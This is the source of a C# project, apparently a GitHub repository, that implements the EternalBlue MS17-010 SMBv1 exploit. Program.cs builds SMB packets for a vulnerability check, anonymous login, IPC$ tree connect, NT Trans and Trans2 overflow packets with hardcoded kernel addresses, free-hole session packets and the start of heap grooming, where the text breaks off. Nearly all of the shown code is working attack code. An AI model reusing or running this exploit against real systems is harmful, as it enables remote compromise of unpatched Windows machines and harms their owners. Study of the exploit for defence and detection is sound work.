

# folder 1 Eternal blue

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# Eternalblue/Eternalblue/Properties /AssemblyInfo.cs

```
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Eternalblue")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Eternalblue")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("70d1b187-5a8b-4ec9-806e-146a966e4c7d")]

// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
```

# Eternalblue/App.config

```
<?xml version="1.0" encoding="utf-8" ?>  
<configuration>  
  <startup>  
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />  
  </startup>  
</configuration>
```

# Eternalblue/Eternalblue.csproj

```
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props"
Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <ProjectGuid>{70D1B187-5A8B-4EC9-806E-146A966E4C7D}</ProjectGuid>
    <OutputType>Exe</OutputType>
    <RootNamespace>Eternalblue</RootNamespace>
    <AssemblyName>Eternalblue</AssemblyName>
    <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
    <FileAlignment>512</FileAlignment>
    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
    <Deterministic>true</Deterministic>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>>false</Optimize>
    <OutputPath>bin\Debug</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
```

```
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
  <DebugSymbols>true</DebugSymbols>
  <OutputPath>bin\x64\Debug\</OutputPath>
  <DefineConstants>DEBUG;TRACE</DefineConstants>
  <DebugType>full</DebugType>
  <PlatformTarget>x64</PlatformTarget>
  <LangVersion>7.3</LangVersion>
  <ErrorReport>prompt</ErrorReport>
  <Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
  <OutputPath>bin\x64\Release\</OutputPath>
  <DefineConstants>TRACE</DefineConstants>
  <Optimize>true</Optimize>
  <DebugType>pdbonly</DebugType>
  <PlatformTarget>x64</PlatformTarget>
  <LangVersion>7.3</LangVersion>
  <ErrorReport>prompt</ErrorReport>
  <Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
  <Reference Include="System" />
  <Reference Include="System.Core" />
  <Reference Include="System.Xml.Linq" />
  <Reference Include="System.Data.DataSetExtensions" />
  <Reference Include="Microsoft.CSharp" />
  <Reference Include="System.Data" />
  <Reference Include="System.Net.Http" />
  <Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
  <Compile Include="Program.cs" />
  <Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
  <None Include="App.config" />
</ItemGroup>
```

```
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />  
</Project>
```

# Eternalblue/Eternalblue

## /Program.cs

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;

namespace Eternalblue
{
    class Program
    {

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct NETBIOS_HEADER
        {
            public uint MessageTypeAndSize;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_HEADER
        {
            public uint protocol;
            public byte command;
            public byte errorClass;
            public byte _reserved;
            public ushort errorCode;
            public byte flags;
            public ushort flags2;
            public ushort PIDHigh;
            public ulong SecurityFeatures;
            public ushort reserved;
        }
    }
}
```

```
    public ushort TID;
    public ushort PIDLow;
    public ushort UID;
    public ushort MID;
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
```

```
public struct SMB_COM_SESSION_SETUP_ANDX_RESPONSE
```

```
{
    public byte WordCount;
    public byte AndxCommand;
    public byte reserved;
    public ushort AndxOffset;
    public ushort action;
    public ushort ByteCount;
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
```

```
public struct SMB_COM_SESSION_SETUP_ANDX_REQUEST
```

```
{
    public byte WordCount;
    public byte AndxCommand;
    public byte reserved1;
    public ushort AndxOffset;
    public ushort MaxBuffer;
    public ushort MaxMpxCount;
    public ushort VcNumber;
    public uint SessionKey;
    public ushort OEMPasswordLen;
    public ushort UnicodePasswordLen;
    public uint Reserved2;
    public uint Capabilities;
    public ushort ByteCount;
    //SMB Data added manually
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
```

```
public struct SMB_COM_NEGOTIATE_REQUEST
```

```
{
    public byte WordCount;
```



```

    public ushort ByteCount;
    //Dialects are added manually
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TRANSACTION_REQUEST
{
    public byte WordCount;
    public ushort TotalParameterCount;
    public ushort TotalDataCount;
    public ushort MaxParameterCount;
    public ushort MaxDataCount;
    public byte MaxSetupCount;
    public byte Reserved;
    public ushort Flags;
    public uint Timeout;
    public ushort Reserved2;
    public ushort ParameterCount;
    public ushort ParameterOffset;
    public ushort DataCount;
    public ushort DataOffset;
    public byte SetupCount;
    public byte Reserved3;
    public ushort Function;
    public ushort FID;
    public ushort ByteCount;
    //TransactionName added manually
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TREE_CONNECT_ANDX_REQUEST
{
    public byte WordCount;
    public byte AndXCommand;
    public byte AndXReserved;
    public ushort AndXOffset;
    public ushort Flags;
    public ushort PasswordLength;
    public ushort ByteCount;
    //SMBData added manually
}

```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_ECHO_REQUEST
{
    public byte WordCount;
    public ushort EchoSequenceNumber;
    public ushort ByteCount;
    //SMBData added manually
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_NT_TRANSACT_REQUEST
{
    public byte WordCount;
    public byte MaxSetupCount;
    public ushort Reserved;
    public uint TotalParameterCount;
    public uint TotalDataCount;
    public uint MaxParameterCount;
    public uint MaxDataCount;
    public uint ParameterCount;
    public uint ParameterOffset;
    public uint DataCount;
    public uint DataOffset;
    public byte SetupCount;
    public ushort Function;
    public ushort Setup;
    public ushort ByteCount;
    //SMBData added manually
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TRANSACTION2_SECONDARY_REQUEST
{
    public byte WordCount;
    public ushort TotalParameterCount;
    public ushort TotalDataCount;
    public ushort ParameterCount;
    public ushort ParameterOffset;
    public ushort ParameterDisplacement;
```

```

    public ushort DataCout;
    public ushort DataOffset;
    public ushort DataDisplacement;
    public ushort FID;
    public ushort ByteCount;
    //SMBData added manually
}

static public SMB_COM_NEGOTIATE_REQUEST SMB_COMNegotiateRequestFromBytes(byte[] arr)
{
    SMB_COM_NEGOTIATE_REQUEST str = new SMB_COM_NEGOTIATE_REQUEST();
    int size = Marshal.SizeOf(str);
    IntPtr ptr = Marshal.AllocHGlobal(size);
    Marshal.Copy(arr, 0, ptr, size);
    str = (SMB_COM_NEGOTIATE_REQUEST)Marshal.PtrToStructure(ptr, str.GetType());
    Marshal.FreeHGlobal(ptr);
    return str;
}

static public byte[] SetNetBiosHeader(byte[] pkt)
{
    uint size = (uint)pkt.Length;
    byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
    NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
    netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
    byte[] netbios_header_packet = GetBytes(netbios_header);
    byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
    return fullMessage;
}

static public void SendSMBMessage(Socket sock, byte[] pkt, bool SetHeader)
{
    //Calculate and set Message Length for NetBios Header
    if (SetHeader)
    {
        pkt = SetNetBiosHeader(pkt);
    }
    try
    {

```

```

        sock.Send(pkt);
    }
    catch (Exception e)
    {
        Console.WriteLine("Socket Error, during sending: " + e.Message);
    }
}

```

```

static public byte[] ReceiveSMBMessage(Socket sock)
{
    byte[] response = new byte[1024];
    try
    {
        sock.Receive(response);
    }
    catch (Exception e)
    {
        Console.WriteLine("Socket Error, during receive: " + e.Message);
    }
    return response.Skip(4).ToArray();
}

```

```

static public byte[] GetBytes(object str)
{
    int size = Marshal.SizeOf(str);

    byte[] arr = new byte[size];
    IntPtr ptr = Marshal.AllocHGlobal(size);
    Marshal.StructureToPtr(str, ptr, true);
    Marshal.Copy(ptr, arr, 0, size);
    Marshal.FreeHGlobal(ptr);
    return arr;
}

```

```

static public SMB_COM_SESSION_SETUP_ANDX_RESPONSE SMB_AndxResponseFromBytes(byte[] arr)
{
    SMB_COM_SESSION_SETUP_ANDX_RESPONSE str = new SMB_COM_SESSION_SETUP_ANDX_RESPONSE();
    int size = Marshal.SizeOf(str);
    IntPtr ptr = Marshal.AllocHGlobal(size);
    Marshal.Copy(arr, 0, ptr, size);
}

```

```

        str = (SMB_COM_SESSION_SETUP_ANDX_RESPONSE)Marshal.PtrToStructure(ptr, str.GetType());
        Marshal.FreeHGlobal(ptr);
        return str;
    }

    static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr)
    {
        SMB_HEADER str = new SMB_HEADER();
        int size = Marshal.SizeOf(str);
        IntPtr ptr = Marshal.AllocHGlobal(size);
        Marshal.Copy(arr, 0, ptr, size);
        str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType());
        Marshal.FreeHGlobal(ptr);
        return str;
    }

    static public bool IsValidSMB1Header(SMB_HEADER header)
    {
        if (header.protocol == 0x424d53ff)
        {
            return true;
        }
        return false;
    }

    static public void DetectVersionOfWindows(byte[] res)
    {
        SMB_HEADER header = SMB_HeaderFromBytes(res);
        if (!IsValidSMB1Header(header))
        {
            Console.WriteLine("Did not receive proper response when determining version... Are you sure this
server is running SMB?");
            return;
        }
        int sizeofHeader = Marshal.SizeOf(header);
        SMB_COM_SESSION_SETUP_ANDX_RESPONSE andxr =
SMB_AndxResponseFromBytes(res.Skip(sizeofHeader).ToArray());
        int byteCount = andxr.ByteCount;
        int sizeofAndxr = Marshal.SizeOf(andxr);
        byte[] data = res.Skip(sizeofHeader + sizeofAndxr + 1).ToArray().Take(byteCount).ToArray(); //The 1 is
for Padding- This could become a problem

```

```
string hexString = BitConverter.ToString(data).Replace("-00-00-00-", "&"); //The SMB data is split using 3
0x00 bytes, these are changed to an '&' for easier split
```

```
string[] hexStringSplit = hexString.Split('&');

for (int i = 0; i < 3; i++)
{
    StringBuilder strbuilder = new StringBuilder();
    string[] charArray = hexStringSplit[i].Split('-');
    foreach (string chars in charArray)
    {
        int value = Convert.ToInt32(chars, 16);
        char charValue = (char)value;
        if (charValue != 0)
        {
            strbuilder.Append(charValue);
        }
    }
    if (i == 0)
    {
        Console.WriteLine("Native OS: " + strbuilder.ToString());
    }
    else if (i == 1)
    {
        Console.WriteLine("Native LAN Manager: " + strbuilder.ToString());
    }
    else if (i == 2)
    {
        Console.WriteLine("Domain: " + strbuilder.ToString());
    }
}
}
```

```
static public bool CheckVulnerability(Socket sock)
{
    bool vulnerable = false;
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x25,
        errorClass = 0x00,
```

```

_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0x2801,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = 0x0800,
PIDLow = 0x5604,
UID = 0x0800,
MID = 0x8624
};

byte[] headerBytes = GetBytes(header);

SMB_COM_TRANSACTION_REQUEST transRequest = new SMB_COM_TRANSACTION_REQUEST
{
    WordCount = 0x10,
    TotalParameterCount = 0x0000,
    TotalDataCount = 0x0000,
    MaxParameterCount = 0xffff,
    MaxDataCount = 0xffff,
    MaxSetupCount = 0x00,
    Reserved = 0x00,
    Flags = 0x0000,
    Timeout = 0x00000000,
    Reserved2 = 0x0000,
    ParameterCount = 0x0000,
    ParameterOffset = 0x004a,
    DataCount = 0x0000,
    DataOffset = 0x004a,
    SetupCount = 0x02,
    Reserved3 = 0x00,
    Function = 0x0023,
    FID = 0x0000
};

byte[] transactionName = Encoding.UTF8.GetBytes("\\PIPE\\0");
transRequest.ByteCount = (ushort)transactionName.Length;

byte[] transRequestBytes = GetBytes(transRequest).Concat(transactionName).ToArray();
byte[] pkt = headerBytes.Concat(transRequestBytes).ToArray();

```

```

SendSMBMessage(sock, pkt, true);

header = SMB_HeaderFromBytes(ReceiveSMBMessage(sock));
if (header.errorClass == 0x05 && header._reserved == 0x02 && header.errorCode == 0xc000) //This
equals STATUS_INSUFF_SERVER_RESOURCES
{
    return true;
}
return vulnerable;
}

static public byte[] ClientNegotiate(Socket sock)
{
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x72,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0x2801,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = 0x0000,
        PIDLow = 0x4b2f,
        UID = 0x0000,
        MID = 0x5ec5
    };
    byte[] headerBytes = GetBytes(header);

    SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST
    {
        WordCount = 0x00
    };
    List<byte> dialects = new List<byte>();
    dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0"));
    dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0"));
    dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0"));

```



```

dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0"));
req.ByteCount = (ushort)dialects.Count;

byte[] negotiateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray();
string hex = BitConverter.ToString(negotiateRequest);
byte[] pkt = headerBytes.Concat(negotiateRequest).ToArray();
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
}

public static string ByteArrayToString(byte[] ba)
{
    StringBuilder hex = new StringBuilder(ba.Length * 2);
    foreach (byte b in ba)
        hex.AppendFormat("{0:x2}-", b);
    return hex.ToString();
}

static public byte[] SMB1AnonymousLogin(Socket sock)
{
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x73,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = 0xfeff,
        PIDLow = 0x0000,
        UID = 0x0000,
        MID = 0x0040
    };
    byte[] headerBytes = GetBytes(header);

```

```

        SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new
SMB_COM_SESSION_SETUP_ANDX_REQUEST
    {
        WordCount = 0x0d,
        AndxCommand = 0xff,
        reserved1 = 0x00,
        AndxOffset = 0x0088,
        MaxBuffer = 0x1104,
        MaxMpxCount = 0x00a0,
        VcNumber = 0x0000,
        SessionKey = 0x00000000,
        OEMPasswordLen = 0x0001,
        UnicodePasswordLen = 0x0000,
        Reserved2 = 0x00000000,
        Capabilities = 0x000000d4
    };

    List<byte> SMBData = new List<byte>();
    byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 };
    SMBData.AddRange(nulls);
    SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0
\02\01\09\05\0\0\0"));
    SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \05\0.\00\0\0\0"));
    AndxRequest.ByteCount = (ushort)SMBData.Count;

    byte[] AndxRequestBytes = GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray();
    byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray();
    SendSMBMessage(sock, pkt, true);
    return ReceiveSMBMessage(sock);
}

static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID)
{
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x75,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
    }

```

```
    flags2 = 0x2001,
    PIDHigh = 0x0000,
    SecurityFeatures = 0x0000000000000000,
    reserved = 0x0000,
    TID = 0xfeff,
    PIDLow = 0x4b2f,
    UID = UID,
    MID = 0x5ec5
```

```
};
```

```
byte[] headerBytes = GetBytes(header);
```

```
    SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new
SMB_COM_TREE_CONNECT_ANDX_REQUEST
```

```
{
```

```
    WordCount = 0x04,
```

```
    AndXCommand = 0xff,
```

```
    AndXReserved = 0x00,
```

```
    AndXOffset = 0x0000,
```

```
    Flags = 0x0000,
```

```
    PasswordLength = 0x0001,
```

```
};
```

```
byte[] PathServiceBytes = Encoding.ASCII.GetBytes(@"\" + target + @"\IPC$" + "\0?????\0");
```

```
List<byte> SMBData = new List<byte>();
```

```
SMBData.Add(0x00); //Password
```

```
SMBData.AddRange(PathServiceBytes); //Path + Service
```

```
treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count;
```

```
byte[] TreeConnectAndxRequestBytes =
```

```
GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray();
```

```
byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray();
```

```
SendSMBMessage(sock, pkt, true);
```

```
return ReceiveSMBMessage(sock);
```

```
}
```

```
static public byte[] MakeSMB1NTTransPacket(ushort TID, ushort UID)
```

```
{
```

```
    SMB_HEADER header = new SMB_HEADER
```

```
{
```

```
    protocol = 0x424d53ff,
```

```

        command = 0xa0,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = TID,
        PIDLow = 0xfeff,
        UID = UID,
        MID = 0x0040
    };

    byte[] headerBytes = GetBytes(header);

    SMB_COM_NT_TRANSACT_REQUEST NTtransactionRequest = new SMB_COM_NT_TRANSACT_REQUEST
    {
        WordCount = 0x14,
        MaxSetupCount = 0x01,
        Reserved = 0x0000,
        TotalParameterCount = 0x0000001e,
        TotalDataCount = 0x000103d0,
        MaxParameterCount = 0x0000001e,
        MaxDataCount = 0x00000000,
        ParameterCount = 0x0000001e,
        ParameterOffset = 0x0000004b,
        DataCount = 0x000003d0,
        DataOffset = 0x00000068,
        SetupCount = 0x01,
        Function = 0x0000,
        Setup = 0x0000
    };

    //Add SMBData
    List<byte> SMBData = new List<byte>();
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 31));
    SMBData.Add(0x01);
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 973));
    NTtransactionRequest.ByteCount = (ushort)(SMBData.Count - 1);
    //Merge SMBHeader with the NTTransactionRequest

```

```

        byte[] NTtransactionRequestBytes =
GetBytes(NTtransactionRequest).Concat(SMBData.ToArray()).ToArray();
        byte[] pkt = headerBytes.Concat(NTtransactionRequestBytes).ToArray();
        return pkt;
    }

static public byte[] MakeSMB1Trans2ExploitPacket(ushort TID, ushort UID, string type, int time)
{
    NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
    {
        MessageTypeAndSize = 0x35100000
    };

    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x33,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = TID,
        PIDLow = 0xfeff,
        UID = UID,
        MID = 0x0040
    };

    byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray();

    SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new
SMB_COM_TRANSACTION2_SECONDARY_REQUEST
    {
        WordCount = 0x09,
        TotalParameterCount = 0x0102,
        TotalDataCount = 0x1000,
    }

```

```

    ParameterCount = 0x0000,
    ParameterOffset = 0x0000,
    ParameterDisplacement = 0x0000,
    DataCout = 0x1000,
    DataOffset = 0x0035,
    DataDisplacement = 0x0000, //we change this with our timeout int later
    FID = 0x0000,
    ByteCount = 0x1000
};

int timeout = (time * 16) + 3;
transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] { 0xd0,
BitConverter.GetBytes(timeout)[0] }, 0);

//Merge SMBHeader with the transaction2SecondaryRequest
byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest);
byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray();

if (type.Equals("eb_trans2_exploit"))
{
    List<byte> SMBData = new List<byte>();

    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2957));
    SMBData.AddRange(new List<byte>()
    {
        0x80,0x00,0xa8,0x00
    });
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 16));
    SMBData.AddRange(new List<byte>()
    {
        0xff,0xff
    });
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 6));
    SMBData.AddRange(new List<byte>()
    {
        0xff,0xff
    });
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 22));
    SMBData.AddRange(new List<byte>()
    {
        0x00,0xf1,0xdf,0xff // x86 addresses
    });
};

```

```

SMBData.AddRange(Enumerable.Repeat((byte)0x00, 8));
SMBData.AddRange(new List<byte>()
{
    0x20,0xf0,0xdf,0xff,0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0x60,0x00,0x04,0x10
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4));
SMBData.AddRange(new List<byte>()
{
    0x80,0xef,0xdf,0xff
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4));
SMBData.AddRange(new List<byte>()
{
    0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff,0x18,0x01,0xd0,0xff,0xff,0xff,0xff
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x10));
SMBData.AddRange(new List<byte>()
{
    0x60,0x00,0x04,0x10
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xc));
SMBData.AddRange(new List<byte>()
{
    0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x8));
SMBData.AddRange(new List<byte>()
{
    0x80,0x10
});
SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xe));
SMBData.AddRange(new List<byte>()
{
    0x39,0xbb
});
SMBData.AddRange(Enumerable.Repeat((byte)0x41, 965));
pkt = pkt.Concat(SMBData.ToArray()).ToArray();
return pkt;
}

```

```

if (type.Equals("eb_trans2_zero"))
{
    List<byte> SMBData = new List<byte>();
    SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2055));
    SMBData.Add(0x83);
    SMBData.Add(0xf3);
    SMBData.AddRange(Enumerable.Repeat((byte)0x41, 2039));
    pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
    return pkt;
}
else
{
    List<byte> SMBData = new List<byte>();
    SMBData.AddRange(Enumerable.Repeat((byte)0x41, 4096));
    pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
}

return pkt;
}

static public byte[] MakeSMB1EchoPacket(ushort TID, ushort UID)
{
    NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
    {
        MessageTypeAndSize = 0x31000000
    };

    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x2b,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x98,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = TID,

```



```

        PIDLow = 0xfeff,
        UID = UID,
        MID = 0x0040
    };

    byte[] headerBytes = GetBytes(NTHdr).Concat(GetBytes(header)).ToArray();

    SMB_COM_ECHO_REQUEST echoRequest = new SMB_COM_ECHO_REQUEST
    {
        WordCount = 0x1,
        EchoSequenceNumber = 0x0001,
    };

    //Add SMBData
    List<byte> SMBData = new List<byte>();
    SMBData.AddRange(Enumerable.Repeat((byte)0x41, 11));
    SMBData.Add(0x00);
    echoRequest.ByteCount = (ushort)(SMBData.Count);
    //Merge SMBHeader with the echoRequest
    byte[] echoRequestBytes = GetBytes(echoRequest).Concat(SMBData.ToArray()).ToArray();
    byte[] pkt = headerBytes.Concat(echoRequestBytes).ToArray();
    return pkt;
}

static public byte[] SMB1LargeBuffer(SMB_HEADER header, Socket sock)
{
    //Send and Recieve NT Trans packet
    byte[] nt_trans_pkt = MakeSMB1NTTransPacket(header.TID, header.UID);
    SendSMBMessage(sock, nt_trans_pkt, true);
    ReceiveSMBMessage(sock);

    //initial trans2 request
    byte[] trans_pkt_nulled = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_zero", 0);

    //Send all but the last packet
    for (int i = 1; i <= 14; i++)
    {
        byte[] temp = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_buffer", i);
        trans_pkt_nulled = trans_pkt_nulled.Concat(temp).ToArray();
    }
    //Create SMB1 Echo packet

```

```
byte[] echo = MakeSMB1EchoPacket(header.TID, header.UID);
trans_pkt_nulled = trans_pkt_nulled.Concat(echo).ToArray();
SendSMBMessage(sock, trans_pkt_nulled, false);
```

```
return ReceiveSMBMessage(sock);
```

```
}
```

```
static public byte[] MakeSMB1FreeHoleSessionPacket(byte[] flags2, byte[] vnum, byte[] native_os)
```

```
{
```

```
    byte[] pkt = { 0xff, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, flags2[0], flags2[1], 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, 0x40,
0x00, 0x0c, 0xff, 0x00, 0x00, 0x00, 0x04, 0x11, 0x0a, 0x00, vnum[0], vnum[1], 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x16, 0x00, native_os[0], native_os[1],
native_os[2], native_os[3], native_os[4] };
    byte[] rest = Enumerable.Repeat((byte)0x00, 17).ToArray();
    pkt = pkt.Concat(rest).ToArray();
    return pkt;
```

```
}
```

```
static public Socket SMB1FreeHole(string ip, int port, bool start)
```

```
{
```

```
    TcpClient client = new TcpClient(ip, port);
```

```
    Socket sock = client.Client;
```

```
    ClientNegotiate(sock);
```

```
    byte[] pkt;
```

```
    if (start)
```

```
    {
```

```
        byte[] flags2 = { 0x07, 0xc0 };
```

```
        byte[] vnum = { 0x2d, 0x01 };
```

```
        byte[] native_os = { 0xf0, 0xff, 0x00, 0x00, 0x00 };
```

```
        pkt = MakeSMB1FreeHoleSessionPacket(flags2, vnum, native_os);
```

```
    }
```

```
    else
```

```
    {
```

```
        byte[] flags2 = { 0x07, 0x40 };
```

```
        byte[] vnum = { 0x2c, 0x01 };
```

```
        byte[] native_os = { 0xf8, 0x87, 0x00, 0x00, 0x00 };
```

```
        pkt = MakeSMB1FreeHoleSessionPacket(flags2, vnum, native_os);
```

```
    }
```

```

        SendSMBMessage(sock, pkt, true);
        ReceiveSMBMessage(sock);
        return sock;
    }

```

```

static public List<Socket> SMB2Grooms(string ip, int port, int grooms, byte[] payload_hdr_pkt,
List<Socket> groom_socks)
{
    for (int i = 0; i < grooms; i++)
    {
        TcpClient client = new TcpClient(ip, port);
